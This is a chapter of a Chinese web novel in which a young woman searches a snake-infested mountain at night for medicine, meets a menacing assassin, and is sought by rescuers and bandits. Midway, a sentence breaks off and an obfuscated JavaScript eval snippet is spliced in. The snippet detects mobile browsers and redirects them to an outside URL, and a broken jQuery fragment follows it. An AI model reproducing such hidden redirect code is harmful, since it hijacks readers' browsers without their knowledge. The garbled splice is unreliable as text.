4. 急病
作品:《没有郎君我可怎么活啊》 冷水中扑腾许久,这些天食用霉烂的饭菜,还曾被关在潮湿的地下货舱,再好的身体也要垮下。夜半,沈碧乔烧的开始说胡话,乔芝撕下衣摆,频频给她搭在额头,换了许多道冷水也不见半分起色。
“爹爹,爹爹……”痛苦的声音自病重的少女唇边呢喃着,“我好冷啊。”
乔芝听得心都揪了起来,转眼看文荷,同样是满眼不忍之色。
篝火不能熄灭,怕夜里冻伤风寒,两人分别照顾了沈碧乔一会儿,俱是手足无措。定定地看着她皱起脸的病容,文荷像是下定了什么决心,忽然起身:“一定还有办法,我去找点药。”
“什么?”乔芝一惊,赶紧拉住她衣袖:“别啊,晚上会有更多野兽出没的,我们进的山里有古怪,要不是我有个驱虫避蚁的香囊,我们差点遇上大麻烦!”
文荷也面露难色,然而这犹豫没有维持多久,她推开乔芝的手:“你和她救我一次,我也想为你们做点什么……虽然我未必能找到,却知道这么等下去永远都不会有结果的。”
将乔芝留在原地后,文荷拾起一支火把,小心翼翼护着。
黑夜里,脚下蠕动的虫类似乎是从冬眠中醒来,比白日多了许多,幸好接了把火勉强可以看清,文荷循着记忆走向自己曾经经过的几处深林,暗暗给自己打气。
她见过几种清火治寒的药材,就长在林中,白天里只是路过,现在要原路返回去找。
一只脚踏入离得最近的一处树林,浓密的阴影聚在裙裾下,只听见枯树枝咔嚓一声,文荷被这动静惊得一跳。
暗道自己实在胆小,再拍拍胸脯继续往前走时,又一声几乎一模一样的咔嚓声自身后响起。
“啧,”那人不满地出声:“蠢货,踩空了。”
文荷骇然无比,来不及深思他话中含义:“你……”
男人将她一推,文荷狠摔到树干上,麻的整个人都没了知觉,她仰起脸痛呼出声,正好听见这深沉的夜里宛如过度呼吸一样细微的嘶嘶声。
举起手中火把照亮地上,文荷倒吸一口凉气,浑身的鸡皮疙瘩都起来了。
蛇!密密麻麻的蛇!
面容昳丽的青年男子居高临下地俯视着她,靴下垂死的彩蛇正不死心地吐着鲜红信子。此人足边横七杂八,尽是被踩碎脑袋的斑斓蛇身,他慢条斯理地理了理袖口,素以含情风流闻名的桃花眼生在他脸上,只透出冰冷犀利:“你害得我踩空一只。”
她终于忍不住仄身扶着树干,恶心得想要干呕,岂料手指刚刚贴上去,一条肥嘟嘟的青虫顿时掉到了身上,毛毛的相当扎人。文荷惊叫,一把将其甩了出去,开始疯狂地拍打着身上各处,快要全线崩溃。
见她痛苦,那人毫无波澜,只冷言嘲讽道:“既然恶心,就滚下山去。”
“我为什么要走?”文荷忍着胸中翻滚的呕吐欲:“你无非是希望早点交差,提了我项上人头去见她,你……”
忽然想到什么,文荷眼前一亮,连那阵恶心都被压下去,她问道:“你是知黎郡主的人,对吧?”
他面无表情地看她一眼,不承认也不否认。
“她,她有个妹妹,你知道的吧?”文荷满怀希望道:“你……帮我救救她。”
眼见他那张脸露出一点怀疑,文荷信誓旦旦道:“你信我,那真的是货真价实的沈三小姐,你为郡主办事,总该知道她们姐妹关系不错,救下妹妹性命绝对是大功一件,比杀了我还要值钱,你……求你,帮帮我吧。”
……
一路追来,就剩这座黑鬼山没搜了,奔波已久的兵士带着倦意,文连墨看着无精打采的文连紫,安慰道:“这山是座阴山,野兽啃人,凶险至极,你别跟来,在船上休息吧。”
淡色的乌云将要冲散,天际破晓,文连紫扶着头,冲他微微一笑:“大哥,我也很担心六妹呀。”
文连墨揉揉她的头,语气凉薄得令人心惊:“小紫,收尸这种事,大哥一个人去就行了。”
与此同时,沈知黎正俯首瞧着舆图上的几处蜿蜒墨壑,她刚得到文荷失踪的消息没多久,听说沈碧乔那边也出事,当即上了巡检司的官船。打量片刻,她抬眼对郑清梧道:“大人,小妹性命系于此,恕知黎无心体恤,我们现在就上山。”
郑清梧拱手道:“郡主言重,分内之事罢了,只是郡主千金之躯,万万不能随我们去这一趟,要寻三小姐,让本官领人去搜山便是。”
沈知黎急道:“可我不见着心里没底……”
秦姚见状,上前一步,轻轻揽过她腰:“急了?”
沈知黎明显没心情跟他说话,一把推开。秦姚转而握住她的手不放,面上不容置疑地对郑清梧道:“我跟你们去搜。”
秦伯侯武艺精绝,其子深得真传,知道秦小侯爷意在安知黎郡主的心,郑清梧没有不应之理,做了个手势:“小侯爷请随我来。”
“你要是死里面了我刚好悔婚。”沈知黎在后面说。
秦姚笑意盎然地回身,使劲捏了她一把:“死不了,我还要留着这条命给你用一辈子。”
……
有人埋伏很久了。
在陆枢漕运道上,有四盗恶名远扬,四盗之首的阴阳虎常年驻扎在黑鬼山至青峰湾一带,一是人迹罕至不易发现,二是水道便捷。
可从前两日开始,山上就有些不太平。若只是有普通人不要命闯进来,山头毒瘴和野兽就够喝一壶了,没道理逗留这么久。
可如今他们走出营帐在外头活动,屏声之后便能听见有许多人上山的动静,下山采办的手下没有一个报信回来的。
这很不对,如此阵仗,大摇大摆,里里外外都透出肃杀清山的意味。
阴阳虎巡山小队的头目高盛是极为敏感的,被动等待不是他一贯的作风,带上五个得力手下,他率先领着人熟门熟路地穿梭在几处频频有人活动的山林中。
靠近森林中的湖泊后,他们果真发现了生人。
日头正盛,藕粉长裙的年轻女人正小心翼翼地在用竹片舀水。她低着头,面容模糊不清,只见裸露在外的皮肤白皙柔嫩,湖光粼粼,好似姣花照水。
高盛眼珠略转,面无表情地吩咐道:“射死她。”
没有任何疑惑,旁边有人缓缓拉开长弓,此时那女人也刚刚忙活完,捧起有些漏水的竹片,欣喜万分地提着裙角往另一边跑去
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15313199|167303||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
栖息在树上的鸟雀被这阵风声惊飞,而那女子身后的树荫里,似乎有什么人在静默地伫立。
弓箭破空的声音迟迟未响起。
“好些了吗?”
“好多了!高烧已经全退下去了。”
幸好昨夜文荷找到了对症之药,虽然条件有限,胡乱拿石头捣碎了给沈碧乔喂下去,还是平稳渡过了危险期。乔芝看文荷满脸欣慰,好奇道:“昨天晚上你真的没有遇到危险?还有,你怎么认识这些药材的?”
文荷噎了一下:“昨晚我运气不错,至于药材,我小时候在医堂帮过不少忙,认得一些。”
“好厉害,”乔芝赞不绝口:“听碧乔说你是官家女子,我以为你们都只学琴棋书画呢,我爹也这么教我。”
只希望沈碧乔醒来之后不要怪她了,文荷叹口气:“我先去找找下山的路,我们不能再耗在这里了。”今天早上,她和乔芝花了好半天才找到些能吃的东西,夜里危机四伏,能平安度过一晚上已经是祖宗保佑了。
“等等,我们等碧乔醒了一块走啊!”乔芝连忙上前拦住她。
文荷眼疾手快把乔芝拉回自己身侧,看着刚刚乔芝踩上去的一簇弯了腰的锯齿草,吓得不行:“别踩别踩,这个有毒,被它刮一下,你腿会红肿半天呢……”说着,她看了一眼沈碧乔,声音小小的:“夜路我都走过了,放心吧,路过的地方我会缠上袖带,我们会成功下山的,碧乔醒了之后,就……别告诉她我来过吧!”
文荷飞也似地跑了,乔芝本来打算再追几步,看见周围密密麻麻地生长着毒草,顿时不敢随便落脚了,没想到这家伙看着文文弱弱的也会这么倔。
不过,等碧乔醒了,她到底要不要说真相呢?
再次扎入深绿一片的参天树林,他果然跟了上来,文荷放缓脚步,粲然道:“谢谢你。”
昨晚要不是他总在关键时候拉她一把,还借给她酒囊助火驱散毒雾,她根本没办法在满是毒瘴的林子里摘到药。
四周有清脆鸟鸣,暖洋洋的阳光洒在身上,眉目幽深的青年终于褪去夜色遮掩,展现出全貌。赤金色文武服勾勒出精瘦有力的身体线条,金冠高束起漆黑的长发,左臂一道铁质护腕连着棱角锋利的金属指括,看上去冷冰冰的。
真是生了一张顶好看的脸。
他非必要不回答话,文荷已经有了一定经验,并不觉得冷场。这条路走通后,她撕下一截袖带在树杈上打了个结:“你帮了我这么多,总不能让我连你的名字都不知道吧?”
一路上文荷问了不少话都没反应,唯独这句,他答非所问道:“阎王叫什么名字。”
“啊?”文荷听了,表情顿时有些惨不忍睹。
这么冷酷无情不苟言笑的一个人,他,他内心居然这么幼稚啊……还把自己比作阎王……
她清了清嗓子:“原来大人与那传闻中掌控生死的阎王爷同名……真乃人中之龙……”
“错,”青年恶意满满地抬手,锋利的指括若即若离地刮过她面颊:“我是让你去见阎王的时候去问问,谁索着他的命,那个人就是我。反正离你见阎王那天也不远了,是不是,文小姐?”